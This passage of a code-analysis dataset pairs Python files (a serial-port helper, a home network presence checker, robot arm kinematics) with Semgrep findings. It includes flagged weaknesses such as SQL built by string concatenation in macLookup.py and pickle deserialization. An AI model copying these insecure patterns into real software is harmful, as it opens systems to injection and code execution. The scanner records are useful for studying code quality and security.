manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 82, "line_end": 82, "column_start": 35, "column_end": 49, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 82, "col": 35, "offset": 3137}, "end": {"line": 82, "col": 49, "offset": 3151}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_279717cb4676db67_042d29f2", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit((-1))", "location": {"file_path": "unknown", "line_start": 85, "line_end": 85, "column_start": 13, "column_end": 21, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/279717cb4676db67.py", "start": {"line": 85, "col": 13, "offset": 3242}, "end": {"line": 85, "col": 21, "offset": 3250}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit((-1))", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "CWE-502", "CWE-502" ]
[ "rules.python.lang.security.deserialization.avoid-pickle", "rules.python.lang.security.deserialization.avoid-pickle" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 37, 82 ]
[ 37, 82 ]
[ 9, 35 ]
[ 65, 49 ]
[ "A08:2017 - Insecure Deserialization", "A08:2017 - Insecure Deserialization" ]
[ "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "Avoid using `pickle`, which is known to lead to...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
layer_sampler.py
/layer_sampler.py
nnzhaocs/docker-performance
Apache-2.0
2024-11-18T18:06:03.858155+00:00
1,558,034,462,000
1a459a8ce2aa71dec2636753e5dea2d092c707ec
3
{ "blob_id": "1a459a8ce2aa71dec2636753e5dea2d092c707ec", "branch_name": "refs/heads/master", "committer_date": 1558034462000, "content_id": "bcaf1fbd5ca40d264c7a216829e4b6a33a88c52a", "detected_licenses": [ "MIT" ], "directory_id": "640523fb86fc00950c9658419a53500ddea0ca13", "extension": "py", "filename": "main.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 187079520, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2180, "license": "MIT", "license_type": "permissive", "path": "/main.py", "provenance": "stack-edu-0054.json.gz:568967", "repo_name": "KarthikGangadhar/pyserial-uart-connect", "revision_date": 1558034462000, "revision_id": "3ce4f224834ab1fd97ebc494ccf6e200bd5d40b8", "snapshot_id": "ddb64ee2d6e473397c44d34accc9f7ac6c155c64", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/KarthikGangadhar/pyserial-uart-connect/3ce4f224834ab1fd97ebc494ccf6e200bd5d40b8/main.py", "visit_date": "2020-05-24T03:48:39.349761" }
3.125
stackv2
import serial import time import serial.tools.list_ports class SerialDevice(object): def __init__(self, baudrate = None, port = None, maxtime = None): try: self.Serial = serial.Serial() if maxtime: self.maxtime = maxtime else: self.maxtime = 60 #check and assign baudrate if baudrate is not None: self.baudrate = baudrate self.Serial.baudrate = baudrate else: self.baudrate = 115200 self.Serial.baudrate = 115200 #check and sassign port if port is not None: self.port = port else: self.ports = list(serial.tools.list_ports.comports()) self.port = self.ports[0].device self.Serial.port = self.ports[0].device # set timeout and open serial settings self.Serial.timeout = 10 self.Serial.open() except serial.SerialException: # for some reason 'no backend available error can arise. print(serial.SerialException) def isAvailabale(self): try: if self.Serial.isOpen(): #Opens SerialPort return True return False except serial.SerialException: # for some reason 'no backend available error can arise. return False def read_serial_data(self, time): data = [] if time is not None: self.maxtime = time start_time = time.time() while (time.time() - start_time) < self.maxtime: line_data = self.Serial.readline() print(line_data) data.append(line_data) return data def write(self, message = None): if self.Serial.is_open and message is not None: self.Serial.write(message) if __name__ == '__main__': port = None baudrate = None maxtime = None device = SerialDevice(baudrate, port, maxtime) if device.isAvailabale(): device.write('b') device.read_serial_data(maxtime) device.write('b')
72
29.28
96
19
474
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_74a23180494f6c1a_0f22a865", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_open\" a function or an attribute? If it is a function, you may have meant self.Serial.is_open() because self.Serial.is_open is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 61, "line_end": 61, "column_start": 12, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpb8jm_z1l/74a23180494f6c1a.py", "start": {"line": 61, "col": 12, "offset": 1839}, "end": {"line": 61, "col": 31, "offset": 1858}, "extra": {"message": "Is \"is_open\" a function or an attribute? If it is a function, you may have meant self.Serial.is_open() because self.Serial.is_open is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "" ]
[ "rules.python.lang.maintainability.is-function-without-parentheses" ]
[ "maintainability" ]
[ "MEDIUM" ]
[ "MEDIUM" ]
[ 61 ]
[ 61 ]
[ 12 ]
[ 31 ]
[ "" ]
[ "Is \"is_open\" a function or an attribute? If it is a function, you may have meant self.Serial.is_open() because self.Serial.is_open is always true." ]
[ 5 ]
[ "" ]
[ "" ]
main.py
/main.py
KarthikGangadhar/pyserial-uart-connect
MIT
2024-11-18T18:06:04.421296+00:00
1,521,550,476,000
b421f924ea0a1b3d49e62b82f4270ad46bc0d6e2
3
{ "blob_id": "b421f924ea0a1b3d49e62b82f4270ad46bc0d6e2", "branch_name": "refs/heads/master", "committer_date": 1521550476000, "content_id": "e7e9f01607a7bb96d9cf37f02e3a92b3a2628967", "detected_licenses": [ "MIT" ], "directory_id": "ae4d7c74d4f202bb73c20d556667fa6472a4bb51", "extension": "py", "filename": "macLookup.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 81560348, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2209, "license": "MIT", "license_type": "permissive", "path": "/macLookup.py", "provenance": "stack-edu-0054.json.gz:568977", "repo_name": "KevinMidboe/homeChecker", "revision_date": 1521550476000, "revision_id": "565473ac3c6b4d070c7e0503f8236c7c95dbc98e", "snapshot_id": "ff9cee1f55c54c3464d7064858746b2a423ac918", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/KevinMidboe/homeChecker/565473ac3c6b4d070c7e0503f8236c7c95dbc98e/macLookup.py", "visit_date": "2021-01-22T04:34:26.305517" }
2.828125
stackv2
#!/usr/bin/env python3 import sqlite3 from subprocess import check_output, CalledProcessError from time import time from re import findall from sys import argv from pprint import pprint path = "/home/kevin/homeChecker/home.db" def getOnlineClients(): try: arpOutput = check_output("sudo arp-scan -l", shell=True) arpOutput = arpOutput.decode() macAdr = findall('(([0-9A-Fa-f]{2}[:-]){5}([0-9A-Fa-f]{2}))', arpOutput) return [i[0] for i in macAdr] except CalledProcessError: print("Not able to run 'arp-scan -l' on this machine.") exit(0) def getAddr(c): c.execute('SELECT adr FROM clients') return [i[0] for i in c.fetchall()] def getTimes(): conn = sqlite3.connect(path) c = conn.cursor() c.execute('SELECT c.name, l.timesince FROM lastonline AS l JOIN clients AS c WHERE l.clientadr=c.adr') returnList = [] for name, time in c.fetchall(): returnList.append({"name": name, "time": convertTime(time)}) conn.close() return returnList def convertTime(seconds): if not isinstance(seconds, (int, float)): return 'Null' delta = int(time() - seconds) if delta >= 86400: return str(delta//86400) + ' days' elif delta >= 3600: if delta//3600 < 10: parent = str(delta//3600) child = str((delta - (3600 * (delta//3600)))//60) if len(child) == 1: child = '0' + child return parent + ':' + child + ' hours' else: return str(delta//3600) + ' hours' elif delta >= 60: return str(delta//60) + ' minutes' else: return str(delta) + ' seconds' def updateTimes(): curTime = time() conn = sqlite3.connect(path) c = conn.cursor() online = list(set(getOnlineClients()) & set(getAddr(c))) for adr in online: c.execute('UPDATE lastonline SET timesince='+ "%0.2f" % curTime +' WHERE clientadr="'+ adr + '"') conn.commit() conn.close() return (online) if __name__ == '__main__': if argv[-1] == 'get': pprint(getTimes()) else: print("Updated following clients:", updateTimes())
88
24.1
106
20
602
python
[{"finding_id": "semgrep_rules.python.lang.correctness.use-sys-exit_54cc545c2d1d6b40_2a208f4b", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.use-sys-exit", "finding_type": "correctness", "severity": "medium", "confidence": "medium", "message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "remediation": "sys.exit(0)", "location": {"file_path": "unknown", "line_start": 22, "line_end": 22, "column_start": 9, "column_end": 16, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.use-sys-exit", "path": "/tmp/tmpb8jm_z1l/54cc545c2d1d6b40.py", "start": {"line": 22, "col": 9, "offset": 599}, "end": {"line": 22, "col": 16, "offset": 606}, "extra": {"message": "Detected use of `exit`. Use `sys.exit` over the python shell `exit` built-in. `exit` is a helper for the interactive shell and may not be available on all Python implementations.", "fix": "sys.exit(0)", "metadata": {"category": "correctness", "technology": ["python"], "references": ["https://stackoverflow.com/questions/6501121/difference-between-exit-and-sys-exit-in-python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query_54cc545c2d1d6b40_2ecb4328", "tool_name": "semgrep", "rule_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "remediation": "", "location": {"file_path": "unknown", "line_start": 73, "line_end": 73, "column_start": 9, "column_end": 106, "code_snippet": "requires login"}, "cwe_id": "CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "title": null}, {"url": "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "title": null}, {"url": "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query", "path": "/tmp/tmpb8jm_z1l/54cc545c2d1d6b40.py", "start": {"line": 73, "col": 9, "offset": 1895}, "end": {"line": 73, "col": 106, "offset": 1992}, "extra": {"message": "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expression Language or Schema Definition Language. In most cases, SQLAlchemy ORM will be a better option.", "metadata": {"cwe": ["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-textual-sql", "https://www.tutorialspoint.com/sqlalchemy/sqlalchemy_quick_guide.htm", "https://docs.sqlalchemy.org/en/14/core/tutorial.html#using-more-specific-text-with-table-expression-literal-column-and-expression-column"], "category": "security", "technology": ["sqlalchemy"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
2
true
[ "CWE-89" ]
[ "rules.python.sqlalchemy.security.sqlalchemy-execute-raw-query" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 73 ]
[ 73 ]
[ 9 ]
[ 106 ]
[ "A01:2017 - Injection" ]
[ "Avoiding SQL string concatenation: untrusted input concatenated with raw SQL query can result in SQL Injection. In order to execute raw query safely, prepared statement should be used. SQLAlchemy provides TextualSQL to easily used prepared statement with named parameters. For complex SQL composition, use SQL Expre...
[ 7.5 ]
[ "LOW" ]
[ "HIGH" ]
macLookup.py
/macLookup.py
KevinMidboe/homeChecker
MIT
2024-11-18T17:59:49.860842+00:00
1,535,034,077,000
53006a30639cd54a6f4d642327ec04fecbbc5fd1
3
{ "blob_id": "53006a30639cd54a6f4d642327ec04fecbbc5fd1", "branch_name": "refs/heads/master", "committer_date": 1535034077000, "content_id": "d655212e93c128b9a42a32afd88c5878a9b43f09", "detected_licenses": [ "Apache-2.0" ], "directory_id": "49dd5d88387e67bea72d089f84eb97c4cb59c633", "extension": "py", "filename": "UpperHalfTrans.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 142173331, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6025, "license": "Apache-2.0", "license_type": "permissive", "path": "/nao_virtual_ws/src/nao_virtual/nao_control/scripts/UpperHalfTrans.py", "provenance": "stack-edu-0054.json.gz:568983", "repo_name": "jackietom/nao_robot_control", "revision_date": 1535034077000, "revision_id": "33e33ca2edc6e40dd3a353c7d82cf81955de28bc", "snapshot_id": "edbfa80427be93f696970e40dec8afd7bc7e61a3", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/jackietom/nao_robot_control/33e33ca2edc6e40dd3a353c7d82cf81955de28bc/nao_virtual_ws/src/nao_virtual/nao_control/scripts/UpperHalfTrans.py", "visit_date": "2020-03-23T22:23:43.307448" }
3.265625
stackv2
import numpy as np from math import * def UpperHalfTrans(x,Theta): #joint angles LShoulderPitch = Theta[0] LShoulderRoll = Theta[1] RShoulderPitch = Theta[2] RShoulderRoll = Theta[3] LElbowYaw = Theta[4] LElbowRoll = Theta[5] RElbowYaw = Theta[6] RElbowRoll = Theta[7] #Shoulder:x[0]: right x[1]: left #Elbow:x[2]: right, x[3]: left #hand:x[4]: right, x[5]: left #Rotation matrix LShoulderPitchM = np.array([[cos(LShoulderPitch), 0, sin(LShoulderPitch)], [0, 1, 0], [-sin(LShoulderPitch), 0, cos(LShoulderPitch)]]) LShoulderRollM = np.array([[1, 0, 0], [0, cos(LShoulderRoll), sin(LShoulderRoll)], [0, -sin(LShoulderRoll), cos(LShoulderRoll)]]) RShoulderPitchM = np.array([[cos(RShoulderPitch), 0, sin(RShoulderPitch)], [0, 1, 0], [-sin(RShoulderPitch), 0, cos(RShoulderPitch)]]) RShoulderRollM = np.array([[1, 0, 0], [0, cos(RShoulderRoll), sin(RShoulderRoll)], [0, -sin(RShoulderRoll), cos(RShoulderRoll)]]) LElbowYawM = np.array([[cos(LElbowYaw), -sin(LElbowYaw), 0], [sin(LElbowYaw), cos(LElbowYaw), 0], [0, 0, 1]]) LElbowRollM = np.array([[cos(LElbowRoll), 0, sin(LElbowRoll)], [0, 1, 0], [-sin(LElbowRoll), 0, cos(LElbowRoll)]]) RElbowYawM = np.array([[cos(RElbowYaw), -sin(RElbowYaw), 0], [sin(RElbowYaw), cos(RElbowYaw), 0], [0, 0, 1]]) RElbowRollM = np.array([[cos(RElbowRoll), 0, sin(RElbowRoll)], [0, 1, 0], [-sin(RElbowRoll), 0, cos(RElbowRoll)]]) #x[2] x[2] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[2] - x[0]))) + x[0] #x[3] x[3] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[3] - x[1]))) + x[1] #x[4] x[4] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[4] - x[0]))) + x[0] x[4] = np.dot(RElbowRollM, np.dot(RElbowYawM, x[4] - x[2])) + x[2] #x[5] x[5] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[5] - x[1]))) + x[1] x[5] = np.dot(LElbowRollM, np.dot(LElbowYawM, x[5] - x[3])) + x[3] return x def UpperHalfComTrans(x, Theta): #joint angles LShoulderPitch = Theta[0] LShoulderRoll = Theta[1] RShoulderPitch = Theta[2] RShoulderRoll = Theta[3] LElbowYaw = Theta[4] LElbowRoll = Theta[5] RElbowYaw = Theta[6] RElbowRoll = Theta[7] #Rotation matrix LShoulderPitchM = np.array([[cos(LShoulderPitch), 0, sin(LShoulderPitch)], [0, 1, 0], [-sin(LShoulderPitch), 0, cos(LShoulderPitch)]]) LShoulderRollM = np.array([[1, 0, 0], [0, cos(LShoulderRoll), sin(LShoulderRoll)], [0, -sin(LShoulderRoll), cos(LShoulderRoll)]]) RShoulderPitchM = np.array([[cos(RShoulderPitch), 0, sin(RShoulderPitch)], [0, 1, 0], [-sin(RShoulderPitch), 0, cos(RShoulderPitch)]]) RShoulderRollM = np.array([[1, 0, 0], [0, cos(RShoulderRoll), sin(RShoulderRoll)], [0, -sin(RShoulderRoll), cos(RShoulderRoll)]]) LElbowYawM = np.array([[cos(LElbowYaw), -sin(LElbowYaw), 0], [sin(LElbowYaw), cos(LElbowYaw), 0], [0, 0, 1]]) LElbowRollM = np.array([[cos(LElbowRoll), 0, sin(LElbowRoll)], [0, 1, 0], [-sin(LElbowRoll), 0, cos(LElbowRoll)]]) RElbowYawM = np.array([[cos(RElbowYaw), -sin(RElbowYaw), 0], [sin(RElbowYaw), cos(RElbowYaw), 0], [0, 0, 1]]) RElbowRollM = np.array([[cos(RElbowRoll), 0, sin(RElbowRoll)], [0, 1, 0], [-sin(RElbowRoll), 0, cos(RElbowRoll)]]) #Transformation #x[0]: Torso, x[1]:Neck, x[2]:Head, x[3]:LShoulder, x[4]:RShoulder, #x[5]:LBiceps, x[6]:RBiceps, x[7]:LElbow, x[8]:RElbow, x[9]:LForeArm, #x[10]:RForeArm, x[11]:LHand, x[12]:RHand #x[13]:left shoulder, x[14]:right shoulder, x[15]:left elbow, x[16]: right elbow #x[4] x[4] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[4] - x[14]))) + x[14] #x[3] x[3] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[3] - x[13]))) + x[13] #x[5] x[5] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[5] - x[13]))) + x[13] #x[6] x[6] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[6] - x[14]))) + x[14] #x[7] x[7] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[7] - x[13]))) + x[13] #x[8] x[8] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[8] - x[14]))) + x[14] #x[15] and x[16] needed to be updated x[15] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[15] - x[13]))) + x[13] x[16] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[16] - x[14]))) + x[14] #x[9] x[9] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[9] - x[13]))) + x[13] x[9] = np.dot(LElbowRollM, np.dot(LElbowYawM, x[9] - x[15])) + x[15] #x[10] x[10] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[10] - x[14]))) + x[14] x[10] = np.dot(RElbowRollM, np.dot(RElbowYawM, x[10] - x[16])) + x[16] #x[11] x[11] = np.dot(LShoulderRollM, np.dot(LShoulderPitchM, (x[11] - x[13]))) + x[13] x[11] = np.dot(LElbowRollM, np.dot(LElbowYawM, x[11] - x[15])) + x[15] #x[12] x[12] = np.dot(RShoulderRollM, np.dot(RShoulderPitchM, (x[12] - x[14]))) + x[14] x[12] = np.dot(RElbowRollM, np.dot(RElbowYawM, x[12] - x[16])) + x[16] return x
142
41.43
84
14
2,230
python
[{"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_8e7329d6aac05726_b4b1a3ef", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `4` in `x` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 55, "line_end": 56, "column_start": 5, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmpb8jm_z1l/8e7329d6aac05726.py", "start": {"line": 55, "col": 5, "offset": 2137}, "end": {"line": 56, "col": 71, "offset": 2284}, "extra": {"message": "key `4` in `x` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_8e7329d6aac05726_a3d52a88", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `5` in `x` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 58, "line_end": 59, "column_start": 5, "column_end": 71, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmpb8jm_z1l/8e7329d6aac05726.py", "start": {"line": 58, "col": 5, "offset": 2299}, "end": {"line": 59, "col": 71, "offset": 2446}, "extra": {"message": "key `5` in `x` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_8e7329d6aac05726_da2f8859", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `9` in `x` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 130, "line_end": 131, "column_start": 5, "column_end": 73, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmpb8jm_z1l/8e7329d6aac05726.py", "start": {"line": 130, "col": 5, "offset": 5346}, "end": {"line": 131, "col": 73, "offset": 5497}, "extra": {"message": "key `9` in `x` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_8e7329d6aac05726_cab9d77b", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `10` in `x` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 133, "line_end": 134, "column_start": 5, "column_end": 75, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmpb8jm_z1l/8e7329d6aac05726.py", "start": {"line": 133, "col": 5, "offset": 5513}, "end": {"line": 134, "col": 75, "offset": 5668}, "extra": {"message": "key `10` in `x` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_8e7329d6aac05726_e77d4f28", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `11` in `x` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 136, "line_end": 137, "column_start": 5, "column_end": 75, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmpb8jm_z1l/8e7329d6aac05726.py", "start": {"line": 136, "col": 5, "offset": 5684}, "end": {"line": 137, "col": 75, "offset": 5839}, "extra": {"message": "key `11` in `x` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.useless-assignment-keyed_8e7329d6aac05726_3a12b3f7", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.useless-assignment-keyed", "finding_type": "maintainability", "severity": "low", "confidence": "medium", "message": "key `12` in `x` is assigned twice; the first assignment is useless", "remediation": "", "location": {"file_path": "unknown", "line_start": 139, "line_end": 140, "column_start": 5, "column_end": 75, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 3.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.useless-assignment-keyed", "path": "/tmp/tmpb8jm_z1l/8e7329d6aac05726.py", "start": {"line": 139, "col": 5, "offset": 5855}, "end": {"line": 140, "col": 75, "offset": 6010}, "extra": {"message": "key `12` in `x` is assigned twice; the first assignment is useless", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "INFO", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
6
true
[ "", "", "", "", "", "" ]
[ "rules.python.lang.maintainability.useless-assignment-keyed", "rules.python.lang.maintainability.useless-assignment-keyed", "rules.python.lang.maintainability.useless-assignment-keyed", "rules.python.lang.maintainability.useless-assignment-keyed", "rules.python.lang.maintainability.useless-assignment-keyed"...
[ "maintainability", "maintainability", "maintainability", "maintainability", "maintainability", "maintainability" ]
[ "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM", "MEDIUM" ]
[ "LOW", "LOW", "LOW", "LOW", "LOW", "LOW" ]
[ 55, 58, 130, 133, 136, 139 ]
[ 56, 59, 131, 134, 137, 140 ]
[ 5, 5, 5, 5, 5, 5 ]
[ 71, 71, 73, 75, 75, 75 ]
[ "", "", "", "", "", "" ]
